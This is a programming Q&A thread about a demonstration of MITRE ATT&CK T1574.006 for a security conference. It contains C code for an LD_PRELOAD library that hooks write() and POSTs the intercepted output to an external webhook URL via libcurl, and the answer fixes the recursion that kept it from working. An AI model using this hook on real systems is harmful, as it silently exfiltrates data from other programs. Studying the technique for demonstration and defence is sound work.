Search code examples
clibcurlld-preload

libcurl and LD_PRELOAD


I'm creating a small example of a program using LD_PRELOAD in order to demonstrate Mitre ATT&CK ID T1574.006 at a security conference. I have it working for the most part but one of the problems that I'm running into is using libcurl as part of the demonstration. When I use the example POST code here: https://curl.se/libcurl/c/http-post.html my program keeps looping until I terminate it and does not post any data.

If anyone can point me in the right direction I would appreciate it. Essentially what I'm trying to do is before returning to the standard write function post the data off to a site.

Here is the code:

main.c

#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {
    const char *msg = "Hello write\n";
    // 1 writes to stdout file descriptor
    write(1, msg, strlen(msg));
    return 0;
}

inject.c

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <curl/curl.h>
#include <string.h>
void postData(char *postData) {

  CURL *curl;
  CURLcode res;

  /* In windows, this will init the winsock stuff */
  curl_global_init(CURL_GLOBAL_ALL);

  char testData[500];
  strcpy(testData, "testData=");
  strcat(testData, postData);
  printf("%s\n", testData);

  /* get a curl handle */
  curl = curl_easy_init();
  if(curl) {
    /* First set the URL that is about to receive our POST. This URL can
       just as well be a https:// URL if that is what should receive the
       data. */
    curl_easy_setopt(curl, CURLOPT_URL, "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
    /* Now specify the POST data */
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, testData);

    /* Perform the request, res will get the return code */
    res = curl_easy_perform(curl);
    /* Check for errors */
    if(res != CURLE_OK)
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));

    /* always cleanup */
    curl_easy_cleanup(curl);
  }
  curl_global_cleanup();
}

ssize_t write(int fd, const void *buf, size_t count) {

  char *p = (char *)buf;
  printf("From main: %s\n", p);
  postData(p);  

  // Look up the next write symbol
  ssize_t (*orig_write)(int fd, const void *buf, size_t count) = dlsym(RTLD_NEXT, "write");

  return orig_write(fd, buf, count);
}

Here's how I've been compiling and executing:

TARGET = example_6

all: main.c
        gcc main.c -g -o ${TARGET}
        gcc -shared -g -fPIC inject.c -o inject.so -ldl
run:
        LD_PRELOAD=./inject.so ./${TARGET}

Solution

  • postData can make write calls (e.g. printf and fprintf calls you have in postData). Since write is intercepted, it calls into your intercepted write function from postData...then it goes to postData again and continues. So that's how "loop" occurs.

    You need to ensure that nothing in postData calls write. If you do need to print something, you'll have to use another way. You can instead use syscall (Linux).

    syscall(SYS_write, STDOUT_FILENO, testData, strlen(testData));
    

    The same could happen with any of the curl_* functions too if they happen to call write.